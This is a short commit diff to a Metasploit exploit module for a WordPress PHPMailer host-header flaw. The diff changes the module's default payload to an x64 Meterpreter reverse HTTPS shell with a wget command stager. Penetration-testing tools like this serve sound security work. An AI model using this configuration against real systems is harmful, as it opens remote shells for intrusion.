Use payload common case instead of general case

Both x86 and x64 work on x64, but we really expect x64, and there's no
migration to move us from x86 to x64.

modules/exploits/unix/webapp/wp_phpmailer_host_header.rb

@@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote
       ],
       'DefaultTarget'       => 0,
       'DefaultOptions'      => {
-        'PAYLOAD'           => 'linux/x86/meterpreter_reverse_https',
+        'PAYLOAD'           => 'linux/x64/meterpreter_reverse_https',
         'LHOST'             => Rex::Socket.source_address,
         'CMDSTAGER::FLAVOR' => 'wget'
       },